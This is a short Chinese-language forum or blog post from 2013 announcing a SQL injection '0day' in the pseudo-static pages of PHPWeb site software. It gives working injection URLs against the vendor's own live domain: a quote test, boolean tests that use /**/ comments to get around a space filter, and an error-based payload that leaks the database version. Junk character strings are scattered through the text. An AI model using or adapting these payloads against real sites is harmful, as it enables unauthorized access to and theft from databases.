phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
  a+ l5 V, ~! f: [* c& F
3 s+ w! w* L+ N1 X主站：http://phpweb.net/
) T1 O" ~( r; t6 k: q+ J( M; }# H加’检测：

# w3 l4 e7 i. ?. I. ahttp://www.phpweb.net/down/html/?772′.html
! f2 D* e2 _4 E3 A9 J1 J7 D" d- ^
  [0 e0 w$ C; J出错
存在注入。
( ?+ D4 I# c3 M; R( ^! t不能用空格，只能用/*罗
/ s7 s9 Y+ R+ m' [, M4 Phttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
) F/ ?! [- D: ~5 s/ |8 ]- T+ f爆数据库版本：
9 O, g  m5 m4 z+ g$ S9 w
! K* c- _7 d% M/ e  I* K& c. S0 Q/ {1 t?
9 F5 |2 @3 q8 B3 B6 F9 }1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50